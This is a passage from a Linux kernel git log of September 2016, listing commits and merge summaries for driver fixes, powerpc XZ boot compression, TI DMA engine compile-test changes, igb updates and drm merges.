King Date: Tue Sep 27 12:13:18 2016 -0700 s390/dasd: add missing \n to end of dev_err messages Trival fix, dev_err messages are missing a \n, so add it. Signed-off-by: Colin Ian King Signed-off-by: Martin Schwidefsky drivers/s390/block/dasd_erp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit eb523f42d77a43f80bb9c57a34fbdc8406c7b075 Author: Hadar Hen Zion Date: Tue Sep 27 11:21:18 2016 +0300 net/sched: cls_flower: Use a proper mask value for enc key id parameter The current code use the encapsulation key id value as the mask of that parameter which is wrong. Fix that by using a full mask. Fixes: bc3103f1ed40 ('net/sched: cls_flower: Classify packet in ip tunnels') Signed-off-by: Hadar Hen Zion Acked-by: Amir Vadai Signed-off-by: David S. Miller net/sched/cls_flower.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 094a32626f904f92beda174154daca3fe4455890 Author: Greg Kroah-Hartman Date: Wed Sep 28 08:12:27 2016 +0200 Revert "drivers/tty: Explicitly pass current to show_stack" This reverts commit 9f12cea96f47f98d612a0a0b84f950a0163731bf. Mark writes: Unfortunately, this patch will result in erroneous stack traces on some architectures. Sorry about this; I should have verified this more thoroughly before sending the series out. Please drop the patch at your earliest convenience. Cc: Mark Rutland Signed-off-by: Greg Kroah-Hartman drivers/tty/sysrq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8681a1d47b3332b4dbeb0321b347af1bb7cb0cd6 Author: Matthew Kilgore Date: Tue Sep 27 23:07:54 2016 -0400 Fixes: 3d44a78f0d8b ("staging: rtl8712: Remove unnecessary 'else'") An "unnecessary" 'else' was removed due to complains from checkpatch.pl as it is preceded by a 'return', however the 'else' branch is necessary as an earlier branch of the 'if' falls through. By removing the 'else', that route now hits the 'break' and the 'while' loop exits prematurely. This commit reverts that change and puts the original 'else' back in place. Signed-off-by: Matthew Kilgore Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_recv.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit fe9b34bfcb4e80b809a8a3dccdd49737d073593b Author: Varun Prakash Date: Fri Sep 23 20:07:40 2016 +0530 scsi: cxgb4i: Set completion bit in work request If SKCBF_TX_FLAG_COMPL flag is set and unacknowledged credits are >= max credits / 2, set completion bit in work request to reclaim credits. Signed-off-by: Varun Prakash Signed-off-by: Martin K. Petersen drivers/scsi/cxgbi/cxgb4i/cxgb4i.c | 5 +++++ 1 file changed, 5 insertions(+) commit 623290a204571b80dc6d720d47d0aa29d31f9ecd Author: Lee Duncan Date: Mon Sep 26 15:25:30 2016 -0700 MAINTAINERS: Update open-iscsi maintainers Chris Leech and I are taking over as open-iscsi maintainers. Signed-off-by: Lee Duncan Reviewed-by: Mike Christie Signed-off-by: Martin K. Petersen MAINTAINERS | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 46c1cf706076500cdcde3445be97233793eec7f1 Author: Kyuho Choi Date: Mon Sep 26 23:58:25 2016 +0900 scsi: ufs: Enable no vccq quirk for skhynix device This patch enable no vccq quirk for SKHynix devices. SKHynix ufs device don't need vccq vrail for device operation. Signed-off-by: Kyuho Choi Reviewed-by: Subhash Jadavani Signed-off-by: Martin K. Petersen drivers/scsi/ufs/ufs_quirks.h | 2 ++ 1 file changed, 2 insertions(+) commit 0825b8ee2e58ac6616a9936a745a8ad68b0dd362 Author: Baoyou Xie Date: Mon Sep 26 20:00:59 2016 +0800 scsi: be2iscsi: mark symbols static where possible We get 6 warnings when building kernel with W=1: drivers/scsi/be2iscsi/be_main.c:65:1: warning: no previous prototype for 'beiscsi_log_enable_disp' [-Wmissing-prototypes] drivers/scsi/be2iscsi/be_main.c:78:1: warning: no previous prototype for 'beiscsi_log_enable_change' [-Wmissing-prototypes] drivers/scsi/be2iscsi/be_main.c:97:1: warning: no previous prototype for 'beiscsi_log_enable_store' [-Wmissing-prototypes] drivers/scsi/be2iscsi/be_main.c:116:1: warning: no previous prototype for 'beiscsi_log_enable_init' [-Wmissing-prototypes] drivers/scsi/be2iscsi/be_main.c:4587:5: warning: no previous prototype for 'beiscsi_iotask_v2' [-Wmissing-prototypes] drivers/scsi/be2iscsi/be_main.c:4976:6: warning: no previous prototype for 'beiscsi_hba_attrs_init' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Reviewed-by: Jitendra Bhivare Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit c762c69e106f2b41ef39981ba46bda0ae8119db5 Author: Oliver O'Halloran Date: Thu Sep 22 16:54:34 2016 +1000 powerpc/boot: Add support for XZ compression This patch adds an option to use XZ compression for the kernel image. Currently this is only enabled for 64-bit Book3S targets, which is roughly equivalent to the platforms that use the kernel's zImage wrapper, and that have been tested. The bulk of the 32-bit platforms and 64-bit BookE use uboot images, which relies on uboot implementing XZ. In future we can enable XZ support for those targets once someone has tested it. Signed-off-by: Oliver O'Halloran Signed-off-by: Michael Ellerman arch/powerpc/boot/Makefile | 3 +++ arch/powerpc/boot/decompress.c | 5 +++++ arch/powerpc/boot/stdbool.h | 14 ++++++++++++ arch/powerpc/boot/stdint.h | 13 ++++++++++++ arch/powerpc/boot/types.h | 14 ++++++++++++ arch/powerpc/boot/xz_config.h | 39 ++++++++++++++++++++++++++++++++++ arch/powerpc/platforms/Kconfig.cputype | 1 + 7 files changed, 89 insertions(+) commit f1e510bbb9f265acb4147a3a650882876a76d48b Author: Oliver O'Halloran Date: Thu Sep 22 16:54:33 2016 +1000 powerpc/boot: Add XZ support to the wrapper script This modifies the wrapper script so that the -Z option takes an argument to specify the compression type. It can either be 'gz', 'xz' or 'none'. The legazy --no-gzip and -z options are still supported and will set the compression to none and gzip respectively, but they are not documented. Only XZ -6 is used for compression rather than XZ -9. Using compression levels higher than 6 requires the decompressor to build a large (64MB) dictionary when decompressing and some environments cannot satisfy such large allocations (e.g. POWER 6 LPAR partition firmware). Signed-off-by: Oliver O'Halloran Signed-off-by: Michael Ellerman arch/powerpc/boot/Makefile | 7 ++++-- arch/powerpc/boot/wrapper | 61 ++++++++++++++++++++++++++++++++++------------ 2 files changed, 50 insertions(+), 18 deletions(-) commit a4da56fbc553ea941f3de6ec55070d62f6957d51 Author: Oliver O'Halloran Date: Thu Sep 22 16:54:32 2016 +1000 powerpc/boot: Remove the legacy gzip wrapper This code is no longer used and can be removed. Signed-off-by: Oliver O'Halloran Signed-off-by: Michael Ellerman arch/powerpc/boot/cuboot-c2k.c | 1 - arch/powerpc/boot/gunzip_util.c | 204 ---------------------------------------- arch/powerpc/boot/gunzip_util.h | 45 --------- 3 files changed, 250 deletions(-) commit 1b7898ee276b39e54d870dc4ef3374f663d0b426 Author: Oliver O'Halloran Date: Thu Sep 22 16:54:31 2016 +1000 powerpc/boot: Use the pre-boot decompression API Currently the powerpc boot wrapper has its own wrapper around zlib to handle decompressing gzipped kernels. The kernel decompressor library functions now provide a generic interface that can be used in the pre-boot environment. This allows boot wrappers to easily support different compression algorithms. This patch converts the wrapper to use this new API, but does not add support for using new algorithms. Signed-off-by: Oliver O'Halloran Signed-off-by: Michael Ellerman arch/powerpc/boot/Makefile | 34 +++++++--- arch/powerpc/boot/decompress.c | 143 +++++++++++++++++++++++++++++++++++++++++ arch/powerpc/boot/main.c | 35 +++++----- arch/powerpc/boot/ops.h | 3 + 4 files changed, 190 insertions(+), 25 deletions(-) commit 22750d98b00bd704694224d6df69a1a6f29ea22c Author: Oliver O'Halloran Date: Thu Sep 22 16:54:30 2016 +1000 powerpc/boot: Use CONFIG_KERNEL_GZIP Most architectures allow the compression algorithm used to produced the vmlinuz image to be selected as a kernel config option. In preperation for supporting algorithms other than gzip in the powerpc boot wrapper the makefile needs to be modified to use these config options. Signed-off-by: Oliver O'Halloran Signed-off-by: Michael Ellerman arch/powerpc/Kconfig | 1 + arch/powerpc/boot/Makefile | 30 ++++++++++++++++++------------ 2 files changed, 19 insertions(+), 12 deletions(-) commit 1a13de6df9bf998a0b6d9bfa4255cfc711ea8f0f Author: Oliver O'Halloran Date: Thu Sep 22 16:54:29 2016 +1000 powerpc/boot: Add sed script The powerpc boot wrapper is potentially compiled with a separate toolchain and/or toolchain flags than the rest of the kernel. The usual case is a 64-bit big endian kernel builds a 32-bit big endian wrapper. The main problem with this is that the wrapper does not have access to the kernel headers (without a lot of gross hacks). To get around this the required headers are copied into the build directory via several sed scripts which rewrite problematic includes. This patch moves these fixups out of the makefile into a separate .sed script file to clean up makefile slightly. Signed-off-by: Oliver O'Halloran [mpe: Reword first paragraph of change log a little] Signed-off-by: Michael Ellerman arch/powerpc/boot/Makefile | 16 +++++----------- arch/powerpc/boot/fixup-headers.sed | 12 ++++++++++++ 2 files changed, 17 insertions(+), 11 deletions(-) commit 509cf0b8146c73e6f29bcf732d1af1b1aed5ec01 Author: Peter Ujfalusi Date: Wed Sep 21 15:41:35 2016 +0300 dmaengine: ti-dma-crossbar: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. When compile testing eDMA or omap-dma, select also the ti-dma-crossbar so it is also covered by the compile testing. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 54ff7a2d2420048a904151c0f8c996712d50e08c Author: Peter Ujfalusi Date: Wed Sep 21 15:41:34 2016 +0300 dmaengine: omap-dma: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c5df3572fa13fa1445f5b276f046e791c4aac72b Author: Peter Ujfalusi Date: Wed Sep 21 15:41:33 2016 +0300 dmaengine: edma: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5f9367a8d283495341a7628d83b6a2f505417ecb Author: Peter Ujfalusi Date: Wed Sep 21 15:41:32 2016 +0300 dmaengine: ti-dma-crossbar: Fix of_device_id data parameter usage Use pointers to static constant variables for crossbar type and for DMA offset configuration. Fixes compiler warnings on 64bit architectures: drivers/dma/ti-dma-crossbar.c: In function ‘ti_dra7_xbar_probe’: drivers/dma/ti-dma-crossbar.c:398:21: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] xbar->dma_offset = (u32)match->data; ^ drivers/dma/ti-dma-crossbar.c: In function ‘ti_dma_xbar_probe’: drivers/dma/ti-dma-crossbar.c:431:10: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] switch ((u32)match->data) { ^ Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/ti-dma-crossbar.c | 28 ++++++++++++++++++---------- 1 file changed, 18 insertions(+), 10 deletions(-) commit e7282b66a3bc8650cb9f5acfe63c819ba09015ca Author: Peter Ujfalusi Date: Wed Sep 21 15:41:31 2016 +0300 dmaengine: ti-dma-crossbar: Correct type for of_find_property() third parameter The correct type is int and not for the third parameter of of_find_property(). Fixes compilation for 64bit architectures (x86_64, aarch64). Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/ti-dma-crossbar.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a8db115e476ee31fc3e892522038da50dd3a66cc Author: Peter Ujfalusi Date: Wed Sep 21 15:41:30 2016 +0300 dmaengine/ARM: omap-dma: Fix the DMAengine compile test on non OMAP configs The DMAengine driver for omap-dma use three function calls from the plat-omap legacy driver. When the DMAengine driver is built when ARCH_OMAP is not set, the compilation will fail due to missing symbols. Add empty inline functions to allow the DMAengine driver to be compiled with COMPILE_TEST. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul include/linux/omap-dma.h | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 1634d3083579a0f228fbe337f20fec0e196d36b2 Author: Peter Ujfalusi Date: Thu Sep 22 09:31:04 2016 +0300 dmaengine: edma: Rename set_bits and remove unused clear_bits helper The clear_bits() helper is not used by the driver so it can be removed. powerpc architecture defines the set_bits() in arch/powerpc/include/asm/bitops.h which results failed compile testing on powerpc architecture: >> drivers/dma/edma.c:415:20: error: conflicting types for 'set_bits' static inline void set_bits(int offset, int len, unsigned long *p) ^~~~~~~~ In file included from include/linux/bitops.h:36:0, from include/linux/kernel.h:10, from include/linux/list.h:8, from include/linux/kobject.h:20, from include/linux/device.h:17, from include/linux/dmaengine.h:20, from drivers/dma/edma.c:16: arch/powerpc/include/asm/bitops.h:75:14: note: previous definition of 'set_bits' was here DEFINE_BITOP(set_bits, or, "") ^ arch/powerpc/include/asm/bitops.h:58:24: note: in definition of macro 'DEFINE_BITOP' static __inline__ void fn(unsigned long mask, \ ^~ >> drivers/dma/edma.c:421:20: error: conflicting types for 'clear_bits' static inline void clear_bits(int offset, int len, unsigned long *p) ^~~~~~~~~~ In file included from include/linux/bitops.h:36:0, from include/linux/kernel.h:10, from include/linux/list.h:8, from include/linux/kobject.h:20, from include/linux/device.h:17, from include/linux/dmaengine.h:20, from drivers/dma/edma.c:16: arch/powerpc/include/asm/bitops.h:76:14: note: previous definition of 'clear_bits' was here DEFINE_BITOP(clear_bits, andc, "") ^ arch/powerpc/include/asm/bitops.h:58:24: note: in definition of macro 'DEFINE_BITOP' static __inline__ void fn(unsigned long mask, \ ^~ Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/edma.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit f1d1e34fa5929552662d2c25363bbb82dd3a8fec Author: Peter Ujfalusi Date: Wed Sep 21 15:41:29 2016 +0300 dmaengine: edma: Use correct type for of_find_property() third parameter The correct type is int and not for the third parameter of of_find_property(). Fixes compilation for 64bit architectures (x86_64, aarch64). Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/edma.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c0d5fb4d0d9224ccaad0475c9b58740873970e7e Merge: ca09fb9 30b9c96 Author: Dave Airlie Date: Wed Sep 28 13:23:07 2016 +1000 Merge tag 'drm-qemu-20160921' of git://git.kraxel.org/linux into drm-next bugfixes for qemu (bochs, qxl and virtio-gpu) drm drivers * tag 'drm-qemu-20160921' of git://git.kraxel.org/linux: drm/virtio: add real fence context and seqno drm/virtio: drop virtio_gpu_execbuffer_ioctl() wrapping virtio-gpu: avoid possible NULL pointer dereference drm/qxl: reapply cursor after SetCrtc calls bochs: ignore device if there isn't enougth memory commit b7862742feadf22cc1496bb6b460236a900512db Author: Peter Ujfalusi Date: Wed Sep 21 15:41:28 2016 +0300 dmaengine: edma: Fix of_device_id data parameter usage (legacy vs TPCC) Use pointers to static constant variables for eDMA binding type (legacy vs TPCC). Fixes the following warning when compiling the driver for 64bit architectures (x86_64 for example): drivers/dma/edma.c:2185:16: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast] if (match && (u32)match->data == EDMA_BINDING_TPCC) ^ Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/edma.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit dfdc771d03c13d0e170c27cd845bdab716e73576 Merge: 3796c3c ac28b41 Author: David S. Miller Date: Tue Sep 27 23:22:27 2016 -0400 Merge branch '1GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 1GbE Intel Wired LAN Driver Updates 2016-09-27 This series contains updates to igb and igbvf. Wei Yongjun makes a function static to shut up sparse. Todd bumps the igb and igbvf version, which is long overdue. Jake fixes an issue where the PPS SYS_WRAP interrupt was not re-enabled after a reset, which resulted in disabling of the PPS signaling. v2: dropped patch 5 of the original series, since the PCI quirk patch needs to be reworked by Alex and Sasha to address issues that Bjorn Helgaas and Alex Williamson brought up. ==================== Signed-off-by: David S. Miller commit 86737510781bca1c5d27099c7a6ed4f33b631643 Author: Peter Ujfalusi Date: Wed Sep 21 15:41:27 2016 +0300 dmaengine: edma: Add missing MODULE_DEVICE_TABLE() for of_device_id structs The MODULE_DEVICE_TABLE() were missing from the driver for the of_device_id structures. Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/edma.c | 2 ++ 1 file changed, 2 insertions(+) commit 3796c3cbfb91ad1e3269aa0d15060f888063924b Author: Shaohua Li Date: Tue Sep 27 08:42:42 2016 -0700 lib: clean up put_cpu_var usage put_cpu_var takes the percpu data, not the data returned from get_cpu_var. This doesn't change the behavior. Cc: Tejun Heo Signed-off-by: Shaohua Li Acked-by: Tejun Heo Signed-off-by: David S. Miller lib/random32.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b761fe226be61eba6ae20a424b288559b8a606b5 Author: Shaohua Li Date: Tue Sep 27 08:42:41 2016 -0700 bpf: clean up put_cpu_var usage put_cpu_var takes the percpu data, not the data returned from get_cpu_var. This doesn't change the behavior. Cc: Tejun Heo Cc: Alexei Starovoitov Signed-off-by: Shaohua Li Acked-by: Alexei Starovoitov Acked-by: Tejun Heo Signed-off-by: David S. Miller kernel/bpf/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ca09fb9f60b5f3ab2d57e761aaeea89a5147d784 Merge: 9f4ef05 08895a8 Author: Dave Airlie Date: Wed Sep 28 12:08:49 2016 +1000 Merge tag 'v4.8-rc8' into drm-next Linux 4.8-rc8 There was a lot of fallout in the imx/amdgpu/i915 drivers, so backmerge it now to avoid troubles. * tag 'v4.8-rc8': (1442 commits) Linux 4.8-rc8 fault_in_multipages_readable() throws set-but-unused error mm: check VMA flags to avoid invalid PROT_NONE NUMA balancing radix tree: fix sibling entry handling in radix_tree_descend() radix tree test suite: Test radix_tree_replace_slot() for multiorder entries fix memory leaks in tracing_buffers_splice_read() tracing: Move mutex to protect against resetting of seq data MIPS: Fix delay slot emulation count in debugfs MIPS: SMP: Fix possibility of deadlock when bringing CPUs online mm: delete unnecessary and unsafe init_tlb_ubc() huge tmpfs: fix Committed_AS leak shmem: fix tmpfs to handle the huge= option properly blk-mq: skip unmapped queues in blk_mq_alloc_request_hctx MIPS: Fix pre-r6 emulation FPU initialisation arm64: kgdb: handle read-only text / modules arm64: Call numa_store_cpu_info() earlier. locking/hung_task: Fix typo in CONFIG_DETECT_HUNG_TASK help text nvme-rdma: only clear queue flags after successful connect i2c: qup: skip qup_i2c_suspend if the device is already runtime suspended perf/core: Limit matching exclusive events to one PMU ... commit ac28b41aac35e1000712aaa3aee19bf30fd9a312 Author: Jacob Keller Date: Fri Sep 9 09:10:51 2016 -0700 igb: restore PPS signal on igb_ptp_reset When a reset occurs, the PPS SYS_WRAP interrupt was not re-enabled which resulted in disabling of the PPS signaling. Fix this by recording when the interrupt is on and ensuring that we re-enable it every time we reset. Signed-off-by: Jacob Keller Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/igb/igb.h | 1 + drivers/net/ethernet/intel/igb/igb_ptp.c | 5 ++++- 2 files changed, 5 insertions(+), 1 deletion(-) commit 0742337c1984c7cdbac9465cdda004cbdc69d41c Author: Todd Fujinaka Date: Wed Aug 24 08:40:23 2016 -0700 igb: bump version to igb-5.4.0 Bump igb version to match other igb drivers. Signed-off-by: Todd Fujinaka Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/igb/igb_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3d05fd0a99a4a8b49d486116c01c7ac089b64670 Author: Todd Fujinaka Date: Wed Aug 24 08:38:46 2016 -0700 igbvf: bump version to igbvf-2.4.0 Bump version to match other igbvf drivers. Signed-off-by: Todd Fujinaka Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/igbvf/netdev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7a823471ad42cba6c3b658494d8437ca5c166292 Author: Wei Yongjun Date: Tue Aug 23 15:08:09 2016 +0000 igb: fix non static symbol warning Fixes the following sparse warning: drivers/net/ethernet/intel/igb/igb_ethtool.c:2707:5: warning: symbol 'igb_rxnfc_write_vlan_prio_filter' was not declared. Should it be static? Signed-off-by: Wei Yongjun Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/igb/igb_ethtool.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit dbbab32574c384a83e5ea6fc970928424cd363ed Author: Al Viro Date: Mon Sep 5 17:53:43 2016 -0400 cifs: get rid of unused arguments of CIFSSMBWrite() they used to be used, but... Signed-off-by: Al Viro fs/cifs/cifsproto.h | 3 +-- fs/cifs/cifssmb.c | 13 +++---------- fs/cifs/link.c | 2 +- 3 files changed, 5 insertions(+), 13 deletions(-) commit bc8bcf3b150a29cd8d3f17a1aeb19a804ea683fa Author: Andreas Gruenbacher Date: Tue Sep 27 13:03:23 2016 +0200 posix_acl: uapi header split Export the base definitions and the xattr representation of POSIX ACLs to user space. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro include/linux/posix_acl.h | 22 +------------------- include/linux/posix_acl_xattr.h | 18 +---------------- include/uapi/linux/Kbuild | 2 ++ include/uapi/linux/posix_acl.h | 39 ++++++++++++++++++++++++++++++++++++ include/uapi/linux/posix_acl_xattr.h | 38 +++++++++++++++++++++++++++++++++++ 5 files changed, 81 insertions(+), 38 deletions(-) commit 2211d5ba5c6c4e972ba6dbc912b2897425ea6621 Author: Andreas Gruenbacher Date: Tue Sep 27 13:03:22 2016 +0200 posix_acl: xattr representation cleanups Remove the unnecessary typedefs and the zero-length a_entries array in struct posix_acl_xattr_header. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro drivers/staging/lustre/lustre/include/lustre_acl.h | 6 +-- drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 44 ++++++++++------------ fs/btrfs/send.c | 2 +- fs/cifs/cifssmb.c | 14 ++++--- fs/posix_acl.c | 18 ++++----- include/linux/posix_acl_xattr.h | 21 +++++------ 6 files changed, 51 insertions(+), 54 deletions(-) commit de04e76935ad5985d318fbce298a17e9dd2092b7 Author: Rasmus Villemoes Date: Thu Sep 15 00:25:03 2016 +0200 fs/aio.c: eliminate redundant loads in put_aio_ring_file Using a local variable we can prevent gcc from reloading aio_ring_file->f_inode->i_mapping twice, eliminating 2x2 dependent loads. Signed-off-by: Rasmus Villemoes Signed-off-by: Al Viro fs/aio.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit be218aa2e3f7aa698cdce5a4efb1e178677db8fd Author: Rasmus Villemoes Date: Thu Sep 15 00:15:34 2016 +0200 fs/internal.h: add const to ns_dentry_operations declaration The actual definition in fs/nsfs.c is already const. Signed-off-by: Rasmus Villemoes Signed-off-by: Al Viro fs/internal.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9f4ef05bcdcfdf911b056b471dd3c6a4f331b644 Merge: 81c5d6a beb86f2 Author: Dave Airlie Date: Wed Sep 28 11:27:05 2016 +1000 Merge branch 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-next Last set of radeon and amdgpu changes for 4.9. This is mostly just the powerplay cleanup for dGPUs. Beyond that, just misc code cleanups and bug fixes. * 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux: (49 commits) drm/amd/amdgpu: Clean up afmt allocation in DCEv6. (v2) drm/amd/amdgpu: Remove division from vblank_wait drm/radeon/atif: Send a hotplug event when we get dgpu display request drm/radeon/atpx: check for ATIF dGPU wake for display events support drm/amdgpu/atif: Send a hotplug event when we get dgpu display request drm/amdgpu/atpx: check for ATIF dGPU wake for display events support drm/amdgpu: bump version for new vce packet support drm/amdgpu/vce: allow the clock table packet drm/amdgpu:cleanup virt related define drm/amdgpu: use powerplay module for dgpu in Vi. drm/amdgpu: set gfx clock gating for tonga/polaris. drm/amdgpu: set system clock gating for tonga/polaris. drm/amd/powerplay: export function to help to set cg by smu. drm/amdgpu: avoid out of bounds access on array interrupt_status_offsets drm/amdgpu: mark symbols static where possible drm/amdgpu: remove unused functions drm/amd/powerplay: Replace per-asic print_performance with generic drm/radeon: narrow asic_init for virtualization drm/amdgpu:add fw version entry to info drm/amdgpu:determine if vPost is needed indeed ... commit 81c5d6aa3983662b6b48b504fe3a0a4c640f6a84 Merge: a4a7fbb 1b94a9b Author: Dave Airlie Date: Wed Sep 28 11:24:05 2016 +1000 Merge branch 'drm-etnaviv-next' of git://git.pengutronix.de/git/lst/linux into drm-next Notable changes: - Cleanups from Fabio to some error paths and proper error propagation. - Lots of refactoring and new code to support the new MMU version 2, still relatively unoptimized and doesn't yet provide better process isolation than MMUv1, but enough to get newer cores up and running. - New hardware support: GC3000, as found on the NXP i.MX6 QuadPlus SoC. * 'drm-etnaviv-next' of git://git.pengutronix.de/git/lst/linux: (25 commits) drm/etnaviv: mark whole context as lost in recover worker drm/etnaviv: record correct cmdbuf IOVA in dump drm/etnaviv: space out IOVA layout for cmdbufs on MMUv2 drm/etnaviv: fix up model and revision for GC2000+ drm/etnaviv: implement IOMMUv2 translation drm/etnaviv: handle MMU exception in IRQ handler drm/etnaviv: add flushing logic for MMUv2 drm/etnaviv: add function to construct MMUv2 init buffer drm/etnaviv: map cmdbuf through MMU on version 2 drm/etnaviv: split out iova search and MMU reaping logic drm/etnaviv: split out FE start drm/etnaviv: split out wait for gpu idle drm/etnaviv: move gpu_va() to etnaviv mmu drm/etnaviv: remove unused iommu_v2 header drm/etnaviv: move IOMMU domain allocation into etnaviv MMU drm/etnaviv: indirect IOMMU restore through etnaviv MMU drm/etnaviv: move linear window setup into etnaviv_iommuv1_restore drm/etnaviv: rename etnaviv_iommu_domain_restore to etnaviv_iommuv1_restore drm/etnaviv: only check if the cmdbuf is inside the linear window on MMUv1 drm/etnaviv: only try to use the linear window on MMUv1 ... commit a4a7fbb4015d8f5726ff9c97a97f7ffbdc3f271e Merge: 378db83 f0188ef Author: Dave Airlie Date: Wed Sep 28 11:23:15 2016 +1000 Merge tag 'sunxi-drm-fixes-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into drm-next Allwinner sun4i DRM fixes for 4.9 A few fixes for the sun4i drm driver that range, including some fixes that might prevent multiple planes from working depending on the sequence where they are enabled. * tag 'sunxi-drm-fixes-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: drm/sun4i: Fix the high buffer address mask drm/sun4i: tv: Check mode pointer drm/sun4i: Fix formats usable by the primary plane drm/sun4i: dotclock: Round to closest clock rate drm/sun4i: Fix sparse warnings drm/sun4i: dotclock: Allow divider = 127 drm/sun4i: dotclock: Fix clock rate read back calcation drm/sun4i: backend: remove redundant dev_err call in sun4i_backend_bind() commit 378db830c3cc5c05e2c176274b0d2fcee0b133f3 Merge: 662d5c9 8c763c9 Author: Dave Airlie Date: Wed Sep 28 11:22:27 2016 +1000 Merge branch 'for-next' of ssh://people.freedesktop.org/~seanpaul/dogwood into drm-next I've included some improvements to PSR from myself, as well as a great series from Tomasz to clean up and tighten up vblank/flip handling. The last patch is one from Tomeu that has been floating around for a while, and since rockchip is one of the beneficiaries, I figured this would be a good place to pick it up. * 'for-next' of ssh://people.freedesktop.org/~seanpaul/dogwood: drm/rockchip: Balance irq refcount on failure drm/rockchip: Kill vop_plane_state drm/rockchip: Always signal event in next vblank after cfg_done drm/rockchip: Do not enable vblank without event drm/rockchip: Replace custom wait_for_vblanks with helper drm/rockchip: Unreference framebuffers from flip work drm/rockchip: Avoid race with vblank count increment drm/rockchip: Get rid of some unnecessary code drm/rockchip: Clear interrupt status bits before enabling drm/rockchip: Fix up bug in psr state machine drm/bridge: analogix_dp: Remove duplicated code drm/rockchip: Reduce psr flush time to 100ms drm/rockchip: Don't key off vblank for psr commit 9dcfcda5768eda793e15a1a73da38cfd1fc1a47a Author: Arnd Bergmann Date: Wed Sep 21 09:45:24 2016 +1000 compat: remove compat_printk() After 7e8e385aaf6e ("x86/compat: Remove sys32_vm86_warning"), this function has become unused, so we can remove it as well. Link: http://lkml.kernel.org/r/20160617142903.3070388-1-arnd@arndb.de Signed-off-by: Arnd Bergmann Cc: Alexander Viro Cc: "Theodore Ts'o" Cc: Arnaldo Carvalho de Melo Signed-off-by: Andrew Morton fs/compat.c | 14 -------------- include/linux/compat.h | 1 - kernel/sysctl.c | 10 ---------- 3 files changed, 25 deletions(-) commit 662d5c957161802e2f26317bfe02108fdb215706 Merge: f01ebbd 7b99385 Author: Dave Airlie Date: Wed Sep 28 11:17:26 2016 +1000 Merge tag 'tilcdc-4.9-3.1' of https://github.com/jsarha/linux into drm-next Second attempt for 3rd drm/tilcdc pull request for v4.9. * tag 'tilcdc-4.9-3.1' of https://github.com/jsarha/linux: drm/tilcdc: fix wrong error handling drm/tilcdc: Return directly after a failed kfree_table_init() in tilcdc_convert_slave_node() drm/tilcdc: Remove "default" from blue-and-red-wiring property binding drm/tilcdc: Fix non static symbol warning drm/tilcdc: mark symbols static where possible drm/tilcdc: add missing header dependencies drm/tilcdc: WARN if CRTC is touched without CRTC lock drm/tilcdc: Take CRTC lock when calling tilcdc_crtc_disable() drm/tilcdc: Remove unnecessary tilcdc_crtc_disable() from tilcdc_unload() drm/tilcdc: Flush flip-work workqueue before drm_flip_work_cleanup() drm/tilcdc: Clean up LCDC functional clock rate setting code drm/tilcdc: Take crtc modeset lock while updating the crtc clock rate commit 45caf470077ae6b02da6d5eaee94003ee1543ca3 Author: Al Viro Date: Mon Sep 5 11:32:44 2016 -0400 